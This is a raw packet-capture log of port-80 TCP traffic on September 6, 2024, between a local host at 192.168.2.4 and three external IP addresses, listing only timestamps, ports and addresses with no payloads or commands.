Sep 6, 2024 08:17:06.732903957 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732916117 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732925892 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.732937098 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.732947111 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.732952118 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.732958078 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.732964993 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.732969999 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.732980967 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.732990026 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.732991934 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733002901 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733012915 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733015060 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.733023882 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733033895 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.733057022 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.733208895 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733220100 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733230114 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733241081 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733253002 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733253956 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.733263016 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733272076 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.733274937 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733285904 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.733285904 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733297110 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733309031 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733309984 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.733319044 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733330011 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733336926 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.733350039 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.733357906 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733365059 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.733367920 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733393908 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733396053 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.733402967 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.733406067 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733414888 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733428955 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.733431101 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733438969 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.733458996 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.733472109 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.733525038 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733536005 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733546019 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733561993 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733567953 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.733572960 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733589888 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.733592987 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733607054 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733614922 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.733617067 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.733639956 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.733653069 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.740535021 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.740547895 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.740556955 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.740566969 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.740578890 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.740586042 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.740596056 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.740608931 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.740612984 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.740617990 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.740637064 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.740638971 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.740648985 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.740658045 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.740660906 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.740667105 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.740678072 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.740686893 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.740689039 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.740700960 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.740705967 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.740722895 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.740740061 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.740745068 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.740756035 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.740766048 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.740782976 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.740804911 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.740830898 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.740840912 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.740856886 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.740866899 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.740868092 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.740878105 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.740892887 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.740905046 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.740916014 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.740922928 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.740946054 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.740948915 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.740956068 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.740981102 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.740987062 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.740993023 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.741017103 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.741043091 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.741059065 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.741070986 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.741086006 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.741096973 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.741102934 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.741107941 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.741130114 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.741131067 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.741142988 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.741153002 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.741173983 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.741189003 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.741208076 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.741219044 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.741229057 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.741249084 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.741272926 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.741298914 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.741309881 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.741319895 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.741333961 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.741343975 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.741373062 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.742249966 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.742295980 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.742304087 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.742314100 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.742342949 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.742364883 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.742376089 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.742386103 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.742398024 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.742403030 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.742417097 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.742444038 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.742547989 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.742558956 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.742568970 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.742583036 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.742592096 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.742593050 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.742609978 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.742616892 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.742619991 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.742631912 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.742635012 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.742644072 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.742660046 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.742682934 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.742686033 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.742696047 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.742706060 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.742716074 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.742726088 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.742733002 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.742741108 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.742743969 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.742754936 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.742765903 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.742770910 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.742779016 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.742784023 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.742789984 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.742810965 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.742835045 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.742969990 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.742980003 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.742990971 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.743001938 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.743012905 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.743014097 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.743024111 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.743037939 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.743045092 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.743050098 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.743062019 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.743062019 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.743087053 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.743109941 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.743110895 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.743123055 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.743134022 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.743145943 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.743159056 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.743163109 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.743170977 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.743184090 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.743186951 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.743200064 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.743231058 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.743468046 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.743479967 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.743489981 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.743514061 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.743532896 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.743532896 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.743546009 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.743556023 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.743570089 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.743580103 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.743606091 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.743686914 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.743697882 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.743709087 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.743720055 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.743725061 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.743731976 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.743742943 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.743753910 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.743758917 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.743766069 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.743777990 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.743791103 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.743814945 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.743822098 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.743827105 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.743838072 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.743850946 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.743851900 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.743864059 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.743870020 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.743875980 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.743895054 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.743918896 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.744070053 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.744081974 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.744092941 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.744116068 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.744132996 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.744159937 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.744170904 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.744180918 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.744191885 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.744204044 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.744204044 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.744229078 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.744246006 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.744328022 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.744338989 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.744349003 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.744359016 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.744369984 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.744378090 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.744385958 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.744396925 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.744402885 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.744407892 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.744420052 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.744421005 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.744431019 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.744447947 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.744453907 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.744465113 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.744472027 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.744474888 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.744492054 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.744513035 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.745102882 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.745114088 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.745125055 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.745147943 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.745165110 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.745167017 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.745177984 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.745187998 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.745204926 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.745218992 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.745264053 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.745275021 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.745285988 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.745296955 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.745309114 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.745313883 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.745320082 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.745328903 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.745347023 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.745372057 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.745373011 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.745382071 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.745390892 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.745403051 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.745418072 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.745446920 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.745459080 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.745470047 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.745481014 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.745491982 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.745498896 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.745501995 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.745510101 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.745543003 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.745978117 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.745990038 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.746027946 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.746038914 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.746049881 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.746059895 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.746084929 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.746100903 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.746130943 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.746140957 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.746150970 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.746162891 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.746181011 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.746181965 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.746191978 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.746202946 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.746213913 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.746216059 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.746226072 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.746233940 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.746253014 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.746274948 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.756836891 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.756848097 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.756855011 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.756895065 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.756901026 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.756906986 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.756911993 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.756917953 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.756985903 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.756992102 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.756998062 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.757009983 CEST	80	49739	31.41.244.9	192.168.2.4
